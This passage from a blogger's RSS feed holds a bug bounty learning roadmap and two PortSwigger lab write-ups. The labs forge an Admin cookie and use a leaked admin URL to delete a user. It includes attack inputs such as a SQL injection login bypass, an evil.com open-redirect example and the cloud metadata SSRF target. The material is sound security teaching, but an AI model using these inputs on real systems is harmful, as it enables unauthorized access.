Academy.</p><p><strong>Connect:</strong></p><ul><li>🐦 Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>💼 LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>💻 GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li><li>✍️ Medium — <a href="https://medium.com/@nitishmukhiya">medium.com/@nitishmukhiya</a></li><li>🌐 Portfolio — <a href="https://www.nitishmukhiya.com/">https://www.nitishmukhiya.com/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ab2c934c880" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/subdomain-enumeration-mastery-subdomain-enumeration-like-pro-5ab2c934c880">Subdomain Enumeration Mastery : Subdomain Enumeration Like Pro</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Complete Bug Bounty Roadmap (2026 Edition)]]></title>
            <link>https://systemweakness.com/the-complete-bug-bounty-roadmap-2026-edition-1c85fe87f94f?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c85fe87f94f</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-roadmap]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Mon, 13 Jul 2026 15:53:00 GMT</pubDate>
            <atom:updated>2026-08-29T04:42:28.652Z</atom:updated>
            <content:encoded><![CDATA[<h3>A step-by-step path from absolute beginner to real bug hunter</h3><p><strong>By Nitish Mukhiya</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DDvOMe9MbNihuCcCEXLeew.png" /></figure><h3>💥 What You Actually Need to Start</h3><p>Before any tool, language, or vulnerability class, you need three habits in place. Everything else is built on top of these:</p><ol><li><strong>Patience &amp; consistency</strong> — Progress is slow at first. You will spend weeks understanding concepts before you find your first bug. That’s normal, not a sign you’re doing it wrong.</li><li><strong>Creative &amp; logical thinking</strong> — Constantly ask “what if?” What if I change this parameter? What if I remove this header? What if this endpoint accepts a different content-type?</li><li><strong>A habit of questioning everything</strong> — Curiosity is your real edge. Automated scanners find the obvious bugs. Curious humans find the interesting ones.</li></ol><h3>🗺️ The Roadmap at a Glance</h3><p>StageFocus🟥 BeginnerComputer Fundamentals → Networking → Linux → Command Line🟧 IntermediateHTTP → Programming → Web Security &amp; Attacks → Tools &amp; Setup🟩 AdvancedPractice (Labs &amp; CTFs) → Real Bug Hunting → Reporting</p><p><strong>Recommended phase order:</strong></p><ol><li>Computer Fundamentals</li><li>Networking</li><li>Linux</li><li>Command Line</li><li>HTTP &amp; How the Web Works</li><li>Programming Basics</li><li>Authentication &amp; Sessions</li><li>API Security</li><li>Web Security (OWASP Top 10)</li><li>Burp Suite</li><li>Recon Methodology</li><li>Labs (PortSwigger, TryHackMe, Hacker101)</li><li>Real Bug Hunting</li><li>Report Writing</li></ol><p>Let’s go through each phase in detail.</p><h3>🔥 Phase 1: Computer Fundamentals</h3><p>You can’t break what you don’t understand. This phase builds the base layer.</p><p><strong>What to learn:</strong></p><ol><li>Hardware vs. software, input vs. output</li><li>OS vs. kernel — and why the distinction matters</li><li>How file systems are organized</li><li>Installing Windows &amp; Linux</li><li>Creating and managing a Virtual Machine (VirtualBox or VMware)</li></ol><p><strong>Free resource:</strong> CompTIA A+ content on YouTube — you don’t need to take the exam, just absorb the concepts.</p><h3>🔥 Phase 2: Networking</h3><p>Every attack travels over a network. This cannot be skipped. Understanding how data moves is foundational to finding where it breaks.</p><p><strong>Core layers to understand:</strong></p><ol><li><strong>Layer 7 — Application:</strong> HTTP, DNS — where most web attacks happen</li><li><strong>Layer 4 — Transport:</strong> TCP, UDP, Ports — how data is delivered</li><li><strong>Layer 3 — Network:</strong> IP addresses — how devices find each other</li></ol><p><strong>How the Web Works (the request lifecycle):</strong></p><ol><li>DNS lookup — domain name is converted to an IP address</li><li>TCP handshake — a connection is established</li><li>TLS handshake — encryption is set up</li><li>HTTP request — sent to the server</li><li>Server responds — with HTML/JSON</li><li>Browser renders the page</li></ol><p>You must be comfortable with: <strong>Methods, Status Codes, Headers, Cookies, Sessions.</strong></p><h3>🔥 Phase 3: Linux Fundamentals</h3><p>This phase is crucial for understanding the backbone of the internet and the environment where most hacking tools thrive.</p><p><strong>Why Linux:</strong></p><ul><li>Most web servers run on it</li><li>Almost all major security tools are built for it first</li></ul><p><strong>What to learn:</strong></p><ul><li>File system structure</li><li>Permissions</li><li>Users &amp; groups</li><li>Package management</li></ul><p><strong>Learning order:</strong></p><ol><li>Ubuntu (basic, general-purpose)</li><li>Kali Linux or Parrot OS (security-focused distros, once comfortable)</li></ol><h3>🔥 Phase 4: The Command Line</h3><p>There’s no GUI for most security work. Get comfortable here — this is where you’ll live.</p><p><strong>Files &amp; Navigation</strong></p><ul><li>ls, cd, grep, cat, find</li></ul><p><strong>Networking</strong></p><ul><li>curl, wget, ping, nc, nmap</li></ul><p><strong>Power features</strong></p><ul><li>command | grep &quot;text&quot; — pipe output into another command</li><li>command &gt; file.txt — save output to a file</li></ul><h3>🔥 Phase 5: HTTP — The Backbone of Bug Bounty</h3><p>HTTP deserves its own dedicated phase. Without a solid grip on it, understanding XSS, IDOR, CSRF, and SSRF properly becomes very difficult. This should sit <strong>after Linux and before Programming.</strong></p><p>Cover in depth:</p><ul><li>Methods (GET, POST, PUT, DELETE, PATCH)</li><li>Status codes</li><li>Headers</li><li>Cookies</li><li>Sessions</li><li>JWT (JSON Web Tokens)</li><li>CORS</li><li>Caching</li><li>Content-Type</li><li>Multipart requests</li></ul><p>This single phase unlocks understanding of almost every web vulnerability class that follows.</p><h3>🔥 Phase 6: Programming (Just Enough to Read Code)</h3><p><strong>Goal:</strong> read and understand code — not build full applications.</p><p>LanguageWhyHTMLStructure of every web pageJavaScriptClient-side logic — most client-side attacks live herePythonScripting and automationSQLRequired for understanding SQL injectionPHPUnderstand server-side input handling</p><p>Don’t over-invest here. Learn on the go, as vulnerabilities demand it.</p><h3>🔥 Phase 7: Authentication, Sessions &amp; API Security</h3><p>Two areas that modern bug bounty programs pay very well for, and that beginners often skip too early:</p><p><strong>Authentication &amp; Sessions</strong></p><ul><li>Login flows, password reset flows, multi-factor authentication</li><li>Session tokens vs. JWTs, token expiry, session fixation</li><li>OAuth and SSO flows (a huge source of real-world bugs)</li></ul><p><strong>API Security</strong></p><ul><li>REST vs. GraphQL basics</li><li>Broken Object Level Authorization (BOLA) — the API version of IDOR</li><li>Rate limiting and mass assignment issues</li><li>API keys, scopes, and improper access control</li></ul><p>These map directly onto the <strong>OWASP API Security Top 10</strong>, a companion list to the classic Web Top 10 that’s increasingly relevant as more targets are API-driven.</p><h3>🔥 Phase 8: Web Security — OWASP Top 10</h3><p>Start with the <strong>OWASP Top 10</strong> — the industry-standard list of the most critical web vulnerabilities.</p><p><strong>For each vulnerability, learn:</strong></p><ul><li>What it is</li><li>How to find it</li><li>How to exploit it</li><li>How to fix it</li></ul><p><strong>Primary resource:</strong> PortSwigger Web Security Academy — free and considered the gold standard.</p><h3>❤️ Bugs That Pay — Basic</h3><p><strong>1. XSS (Cross-Site Scripting)</strong></p><ul><li>Inject scripts into web pages</li><li>Types: Reflected, Stored, DOM-based</li><li>Impact: steal cookies, hijack sessions</li></ul><p><strong>2. IDOR (Insecure Direct Object Reference)</strong></p><ul><li>Change /user/123 → /user/124</li><li>Access another user’s data</li><li>Always test with two accounts</li></ul><h3>❤️ Bugs That Pay — Intermediate</h3><p><strong>1. SQL Injection</strong></p><ul><li>&#39; OR 1=1 -- can bypass login or dump a database</li><li>Types: Boolean-based, Time-based, Error-based, UNION-based</li></ul><p><strong>2. CSRF (Cross-Site Request Forgery)</strong></p><ul><li>Trick a logged-in user into performing an unintended action</li><li>Requires a missing or weak CSRF token</li></ul><p><strong>3. Open Redirect</strong></p><ul><li>?redirect=https://evil.com</li><li>Often chained with phishing and OAuth attacks</li></ul><h3>❤️ Bugs That Pay — Advanced</h3><p>As you progress, these are some of the more advanced and highly rewarded vulnerability types you’ll encounter in real programs:</p><p><strong>1. SSRF (Server-Side Request Forgery)</strong></p><ul><li>Make the server fetch internal URLs</li><li>Critical in cloud environments — e.g., the AWS metadata endpoint at <a href="http://169.254.169.254/">http://169.254.169.254</a></li></ul><p><strong>2. SSTI (Server-Side Template Injection)</strong></p><ul><li>Inject into a template engine — can escalate to Remote Code Execution (RCE)</li></ul><p><strong>3. XXE (XML External Entity)</strong></p><ul><li>Malicious XML forces the server to read internal files</li></ul><p><strong>4. File Upload Vulnerabilities</strong></p><ul><li>Upload a .php file where only images are expected — can lead to RCE</li></ul><p><strong>5. Business Logic Flaws</strong> <em>(often overlooked but heavily rewarded)</em></p><ul><li>Race conditions (e.g., redeeming a coupon twice at the same instant)</li><li>Price manipulation, workflow bypass, negative quantity abuse</li></ul><h3>✡️ Master Burp Suite</h3><p>Burp Suite is the single most important tool in a bug hunter’s toolkit. Learn:</p><ul><li>Proxying traffic through Burp</li><li>Repeater (manually resend and modify requests)</li><li>Intruder (automated fuzzing of parameters)</li><li>Decoder, Comparer, and the Extender/BApp Store for plugins</li></ul><h3>💥 Reconnaissance Tools</h3><p>The initial phase of bug hunting involves gathering as much information as possible about the target. These tools help expand your attack surface and uncover more potential vulnerabilities.</p><p><strong>1. Subdomain Enumeration</strong></p><ul><li>Subfinder, Amass, Assetfinder</li></ul><p><strong>2. Live Host Detection</strong></p><ul><li>Httpx, Naabu, Dnsx</li></ul><p><strong>3. Port Scanning</strong></p><ul><li>Nmap, Rustscan, Masscan</li></ul><p><strong>4. Hidden URL Discovery</strong></p><ul><li>Waybackurls, Gospider, Katana, Gau</li></ul><p><strong>5. JavaScript Analysis</strong></p><ul><li>LinkFinder, SecretFinder</li></ul><h3>💟 Fuzzing &amp; Attack Tools</h3><p>Use the right tools to find hidden paths, scan for weaknesses, and match tooling to the bug class you’re hunting.</p><p><strong>1. Fuzzing Tools</strong></p><ul><li>Ffuf, Gobuster, Dirsearch, Arjun</li></ul><p><strong>2. Scanning Tools</strong></p><ul><li>Nuclei, Nikto</li></ul><p><strong>Bug-Specific Tools:</strong></p><p>SQL Injection — sqlmap</p><p>XSS — dalfox</p><p>Secrets Leaks — trufflehog, gitleaks</p><p>Exposed Services — Shodan, Censys</p><h3>🛑 GitHub Resources — Get These</h3><ol><li>Resource 2. What It Has</li></ol><p>SecLists — Every wordlist you’ll need</p><p>PayloadsAllTheThings — Payloads for nearly every bug type</p><p>HackTricks — Step-by-step attack techniques</p><p>Nuclei Templates — Community-maintained scanner templates</p><h3>🟥 Phase 9: Practice Before You Hunt</h3><p><strong>Study → Practice → Hunt.</strong> Never skip the middle step.</p><p>Beginner = <strong>Tryhackme = Portswigger web academy</strong></p><p>Intermediate = <strong>Hacker101 CTF = Hack The Box</strong></p><p>Offline = <strong>DVWA = OWASP Juice Shop = VulnHub</strong></p><p><strong>Recommended platform order:</strong></p><ol><li>TryHackMe</li><li>PortSwigger</li><li>Hacker101</li><li>Hack The Box</li><li>Real programs</li></ol><h3>🎯 How to Pick Your First Program</h3><h3>✅ Do’s</h3><ul><li>Choose a large scope — wildcard domains like *.company.com give more room to explore</li><li>Hunt what you already know best</li><li>Spend weeks on one target — go deep rather than wide</li></ul><h3>❌ Don’ts</h3><ul><li>Avoid Google, Apple, or Meta as a beginner — these programs are extremely competitive and heavily tested already</li><li>Don’t jump between programs constantly</li><li>Don’t rely only on automated tools — creativity is what actually finds bugs</li></ul><h3>📝 The Final Step: Report Writing</h3><p>A great find with a poor report often gets triaged as low priority or even closed as “not applicable.” A clear report is part of the skill, not an afterthought.</p><p>A strong report includes:</p><ol><li><strong>Clear, specific title</strong> — e.g., “IDOR on /api/v1/orders/{id} allows viewing other users&#39; orders&quot;</li><li><strong>Steps to reproduce</strong> — numbered, exact, reproducible by anyone</li><li><strong>Proof of Concept</strong> — screenshots, request/response pairs, or a short video</li><li><strong>Impact</strong> — what an attacker could realistically achieve</li><li><strong>Suggested fix</strong> — even a brief one shows maturity and professionalism</li></ol><h3>🧭 Summary: The Full Journey</h3><ol><li>Computer Fundamentals</li><li>Networking</li><li>Linux</li><li>Command Line</li><li>HTTP &amp; How the Web Works</li><li>Programming Basics</li><li>Authentication, Sessions &amp; API Security</li><li>Web Security (OWASP Top 10)</li><li>Burp Suite Mastery</li><li>Recon Methodology</li><li>Practice on Labs (PortSwigger, TryHackMe, Hacker101, HTB)</li><li>Real Bug Hunting</li><li>Report Writing</li></ol><p>Bug bounty hunting rewards the patient and the curious far more than the technically brilliant. Master the fundamentals, stay consistent, and keep asking “what if?”</p><h3>👤 About the Author</h3><p><strong>Nitish Mukhiya</strong> is a security researcher and bug bounty hunter focused on web application security,</p><p><strong>Connect:</strong></p><ul><li>🐦 Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>💼 LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>💻 GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li><li>✍️ Medium — <a href="https://medium.com/@nitishmukhiya">medium.com/@nitishmukhiya</a></li><li>🌐 Portfolio — <a href="https://www.nitishmukhiya.com/">https://www.nitishmukhiya.com/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c85fe87f94f" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/the-complete-bug-bounty-roadmap-2026-edition-1c85fe87f94f">The Complete Bug Bounty Roadmap (2026 Edition)</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab 3: Broken Access Control — “User Role Controlled by Request Parameter” (PortSwigger Web…]]></title>
            <link>https://medium.com/@nitishmukhiya/lab-3-broken-access-control-user-role-controlled-by-request-parameter-portswigger-web-3a8d7aefd685?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a8d7aefd685</guid>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Mon, 13 Jul 2026 15:40:01 GMT</pubDate>
            <atom:updated>2026-07-13T15:40:01.311Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab 3: Broken Access Control — “User Role Controlled by Request Parameter” (PortSwigger Web Security Academy)</h3><h3>Intro</h3><p>This is the third lab in the Broken Access Control series from <strong>PortSwigger Web Security Academy</strong>. Unlike the previous two labs, there’s no hidden URL to discover here — the admin panel path is known (/admin), but access to it is controlled entirely by a value the client sends in a <strong>cookie</strong>. That&#39;s the flaw we&#39;ll be exploiting, using <strong>Burp Suite&#39;s Repeater</strong> tool.</p><p>As always, this is a legal, sandboxed training lab. Only apply these techniques on systems you’re authorized to test.</p><p><strong>By Nitish Mukhiya</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1hMMc-jSQTTlBlUHhcXw0g.png" /></figure><h3>Lab Objective</h3><p>The lab title says it all: <strong>“User role controlled by request parameter.”</strong> The application decides whether a user is an admin based on a parameter sent by the client — instead of verifying that on the server against a real, trusted user record. Our goal is to manipulate that parameter and delete the user carlos through the admin panel.</p><h3>Step 1 — Log In and Intercept Traffic with Burp Suite</h3><p>Log in to the lab as the standard user wiener. Open <strong>Burp Suite</strong>, make sure the browser traffic is proxied through it, and browse to /my-account to confirm you&#39;re logged in as a normal, non-admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1VkqNL9cIIEM6EMVo6lGA.png" /></figure><h3>Step 2 — Try Accessing the Admin Panel Directly</h3><p>Send a request to /admin and check the response.</p><p>With the session cookie as-is (Admin=false), the server responds:</p><pre>HTTP/2 401 Unauthorized</pre><p>The page title in the response even reveals the lab’s name: <strong>“User role controlled by request parameter”</strong> — a strong hint about where the vulnerability lies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ad6kFCQH1ZS_15lDrv7tfQ.png" /></figure><h3>Step 3 — Spot the Cookie Controlling the Role</h3><p>Looking closely at the request headers, there’s a cookie:</p><pre>Cookie: Admin=false; session=tzhpMg4Vh4w1uAtadzCcaKz1Zhy04ZGb</pre><p>This is the giveaway. The application appears to be trusting a client-supplied Admin cookie to decide whether the current user has admin privileges — instead of checking that server-side against the authenticated user&#39;s actual role.</p><h3>Step 4 — Modify the Cookie in Burp Repeater</h3><p>Send the /admin request to <strong>Repeater</strong>, then edit the request and change the cookie value:</p><pre>Cookie: Admin=true; session=tzhpMg4Vh4w1uAtadzCcaKz1Zhy04ZGb</pre><p>Click <strong>Send</strong> again.</p><p>This time, the response is:</p><pre>HTTP/2 200 OK</pre><p>And the body now contains the full admin panel — a <strong>Users</strong> list with wiener and carlos, each with a <strong>Delete</strong> link:</p><p>html</p><pre>&lt;a href=&quot;/admin/delete?username=wiener&quot;&gt;Delete&lt;/a&gt;<br>&lt;a href=&quot;/admin/delete?username=carlos&quot;&gt;Delete&lt;/a&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EIMqsq84hovpanfA6cQntA.png" /></figure><p>Simply flipping Admin=false to Admin=true was enough to unlock full administrative access — no real authorization check was happening on the server at all.</p><h3>Step 5 — Delete the User via the Admin Endpoint</h3><p>With the admin cookie still set to true, send a request to the delete endpoint found in the previous step:</p><pre>GET /admin/delete?username=carlos HTTP/2<br>Cookie: Admin=true; session=tzhpMg4Vh4w1uAtadzCcaKz1Zhy04ZGb</pre><p>The response comes back as:</p><pre>HTTP/2 302 Found<br>Location: /admin</pre><p>A 302 Found redirect back to /admin confirms the deletion request was accepted and processed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsx8g5xVPDmPtNC8Izyvkw.png" /></figure><h3>Step 6 — Confirm the Lab Is Solved</h3><p>Go back to the browser and navigate to /my-account. The lab status badge now shows <strong>&quot;Solved&quot;</strong>, along with the congratulations banner:</p><blockquote><em>“Congratulations, you solved the lab!”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ksUaVrEjGHe0V2rSExNQLQ.png" /></figure><h3>Summary of Steps</h3><ol><li>Logged in as wiener and inspected requests through Burp Suite.</li><li>Sent a request to /admin and got 401 Unauthorized while Admin=false.</li><li>Noticed the client-controlled Admin cookie deciding access.</li><li>Changed the cookie to Admin=true in Repeater and resent the request — got 200 OK with the full admin panel.</li><li>Used the leaked delete endpoint to delete carlos — got 302 Found.</li><li>Confirmed the lab was solved.</li></ol><h3>Why Does This Vulnerability Happen?</h3><p>This is a classic case of <strong>trusting client-controlled data for access control decisions</strong>. The server should determine a user’s role by looking up their identity (via the session) in its own trusted data store — never by reading a value the client can freely set, such as a cookie, hidden form field, or request parameter.</p><p>Because the Admin cookie was never cryptographically signed or validated server-side, any user could simply toggle it from false to true and gain administrative privileges instantly.</p><h3>How to Fix This (Prevention)</h3><ol><li><strong>Never derive privilege or role information from client-controlled input</strong> — cookies, headers, hidden fields, or query parameters can all be freely modified by the user.</li><li>Store role and permission data server-side, tied to the authenticated session, and look it up fresh on every request.</li><li>If role state must be cached in a cookie for performance reasons, it must be cryptographically signed (and the signature verified server-side) so it can’t be tampered with.</li><li>Apply consistent server-side authorization checks on every sensitive endpoint, not just the ones with an obvious “admin” label.</li></ol><h3>Conclusion</h3><p>This lab is a great demonstration of why access control decisions must never depend on data the client can control. A single cookie value — Admin=true — was all it took to escalate from a regular user to a full administrator. It&#39;s a simple change with Burp Repeater, but it perfectly illustrates a mistake that shows up again and again in real-world applications.</p><p><em>Happy (ethical) hacking!</em></p><h3>👤 About the Author</h3><p>Nitish Mukhiya is a security researcher and bug bounty hunter focused on web application security, currently sharpening his skills through PortSwigger’s Web Security Academy.</p><p><strong>Connect:</strong></p><ul><li>🐦 Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>💼 LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>💻 GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li><li>✍️ Medium — <a href="https://medium.com/@nitishmukhiya">medium.com/@nitishmukhiya</a></li><li>🌐 Portfolio — <a href="https://portfolio-livid-iota-e4saycgr44.vercel.app/">portfolio-livid-iota-e4saycgr44.vercel.app</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a8d7aefd685" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab 2: Broken Access Control “Unprotected Admin Functionality with Unpredictable URL” (PortSwigger…]]></title>
            <link>https://medium.com/@nitishmukhiya/lab-2-broken-access-control-unprotected-admin-functionality-with-unpredictable-url-portswigger-660bafaac135?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/660bafaac135</guid>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Sat, 11 Jul 2026 16:08:51 GMT</pubDate>
            <atom:updated>2026-07-11T16:08:51.038Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab 2: Broken Access Control “Unprotected Admin Functionality with Unpredictable URL” (PortSwigger Web Security Academy)</h3><h3>Intro</h3><p>This is the second lab in the Broken Access Control series from <strong>PortSwigger Web Security Academy</strong>. It’s a step up from the first one: this time the admin panel isn’t sitting at a simple, guessable path like /administrator-panel. Instead, its URL is randomly generated — but as we&#39;ll see, that alone doesn&#39;t make it secure.</p><p>As always, this is a legal, sandboxed training lab. Only apply these techniques on systems you’re authorized to test.</p><p><strong>By Nitish Mukhiya</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b5wIw-e3v8H0HpHVhk4lsA.png" /></figure><h3>Lab Objective</h3><p>The lab description tells us exactly what we’re up against:</p><blockquote><em>“This lab has an unprotected admin panel. It’s located at an unpredictable location, but the location is disclosed somewhere in the application. Solve the lab by accessing the admin panel, and using it to delete the user </em><em>carlos.&quot;</em></blockquote><p>So this time, brute-forcing or guessing the URL won’t work directly. The clue is that the app itself leaks the URL somewhere — we just need to find where.</p><h3>Step 1 — Access the Lab</h3><p>Click <strong>“Access the lab”</strong> to launch a fresh instance. It looks like a typical e-commerce site again, with no visible admin link on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgBYh7GQFdjR4rSpeS3KlQ.png" /></figure><h3>Step 2 — Check robots.txt (Ruled Out)</h3><p>The first instinct, based on the previous lab, is to check robots.txt. But this time it won&#39;t help — the admin path is randomly generated per lab instance, so it can&#39;t simply be hardcoded there.</p><h3>Step 3 — Inspect the Page Source</h3><p>Since the lab description hints that the location is “disclosed somewhere in the application,” the next logical step is to look at the raw HTML and JavaScript sent to the browser.</p><p>Right-click the page and choose <strong>“View page source”</strong> (or navigate to view-source:https://&lt;lab-id&gt;.web-security-academy.net/).</p><p>Scrolling through the source, we find an inline &lt;script&gt; block in the page:</p><p>javascript</p><pre>var isAdmin = false;<br>if (isAdmin) {<br>    var topLinksTag = document.getElementsByClassName(&quot;top-links&quot;)[0];<br>    var adminPanelTag = document.createElement(&#39;a&#39;);<br>    adminPanelTag.setAttribute(&#39;href&#39;, &#39;/admin-lza0w7&#39;);<br>    adminPanelTag.innerText = &#39;Admin panel&#39;;<br>    topLinksTag.append(adminPanelTag);<br>    var pTag = document.createElement(&#39;p&#39;);<br>    pTag.innerText = &#39;|&#39;;<br>    topLinksTag.appendChild(pTag);<br>}</pre><p>This is the vulnerability. The developers assumed that since isAdmin is false for a normal user, this code block would simply never run — so no admin link would ever be shown. But the entire script, including the hardcoded admin panel path /admin-lza0w7, is still sent to and visible in every visitor&#39;s browser. Client-side conditions can hide a link visually, but they can&#39;t hide the source code itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4s-rIj7vnHULVBJ9HRRAA.png" /></figure><h3>Step 4 — Visit the Leaked Admin Path</h3><p>With the path in hand, visit it directly:</p><pre>https://&lt;lab-id&gt;.web-security-academy.net/admin-lza0w7</pre><p>Just like before, no authentication is required. The <strong>Users</strong> page loads directly, showing wiener and carlos, each with a <strong>Delete</strong> link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*91XrSjV9IctnqxmBTQYlwQ.png" /></figure><h3>Step 5 — Delete the User</h3><p>Click <strong>Delete</strong> next to carlos.</p><p>The page confirms:</p><pre>User deleted successfully!</pre><p>Only wiener remains in the users list.</p><h3>Step 6 — Lab Solved</h3><p>The status badge flips from <strong>“Not solved”</strong> to <strong>“Solved”</strong>, with the congratulations banner confirming success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3eiKvW2KhX2tCZ4pnSNvw.png" /></figure><p>Steps in summary:</p><ol><li>Ruled out robots.txt (URL is randomized)</li><li>Viewed the page source and found the admin path hardcoded inside a client-side if (isAdmin) block</li><li>Visited that path directly — no login required</li><li>Deleted carlos</li></ol><h3>Why Does This Vulnerability Happen?</h3><p>This is a more subtle version of the same root cause as Lab 1: <strong>relying on the client to enforce access control.</strong> Even though the developers added a randomized URL and a client-side isAdmin check, both are cosmetic:</p><ul><li>Randomizing the URL only adds obscurity, not real protection.</li><li>Client-side JavaScript conditions (if (isAdmin)) only control what&#39;s <em>displayed</em> — never what&#39;s <em>accessible</em>. Anyone can read the full source, extract the path, and hit it directly, bypassing the check entirely.</li></ul><p>The server never verified whether the requesting user actually had admin privileges before serving the admin panel.</p><h3>How to Fix This (Prevention)</h3><ol><li><strong>Never place access-control logic on the client side.</strong> JavaScript checks like if (isAdmin) can always be read or bypassed by the user.</li><li><strong>Enforce authorization on the server</strong> for every request to a sensitive endpoint — check the user’s session/role before returning any data.</li><li><strong>Don’t embed sensitive paths, tokens, or logic in client-side code</strong>, even conditionally — anything sent to the browser is visible, regardless of whether it executes.</li><li>Combine random/unpredictable URLs with proper server-side checks, not as a replacement for them — obscurity should only ever be a secondary layer, never the primary control.</li></ol><h3>Conclusion</h3><p>This lab builds nicely on the first one: instead of an easily discoverable admin URL, we have to actually inspect the client-side source code to leak it. It’s a great reminder that <strong>any logic living in the browser is not a security boundary</strong> — real protection always has to happen on the server. Broken Access Control keeps proving why it’s #1 on the OWASP Top 10.</p><p><em>Happy (ethical) hacking!</em></p><h3>👤 About the Author</h3><p>Nitish Mukhiya is a security researcher and bug bounty hunter focused on web application security, currently sharpening his skills through PortSwigger’s Web Security Academy.</p><p><strong>Connect:</strong></p><ul><li>🐦 Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>💼 LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>💻 GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li><li>✍️ Medium — <a href="https://medium.com/@nitishmukhiya">medium.com/@nitishmukhiya</a></li><li>🌐 Portfolio — <a href="https://portfolio-livid-iota-e4saycgr44.vercel.app/">portfolio-livid-iota-e4saycgr44.vercel.app</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=660bafaac135" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab 1: Broken Access Control “Unprotected Admin Functionality” (PortSwigger Web Security Academy)]]></title>
            <link>https://medium.com/@nitishmukhiya/lab-1-broken-access-control-unprotected-admin-functionality-portswigger-web-security-academy-49b71d270a23?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/49b71d270a23</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Sat, 11 Jul 2026 15:35:49 GMT</pubDate>
            <atom:updated>2026-07-11T15:35:49.207Z</atom:updated>
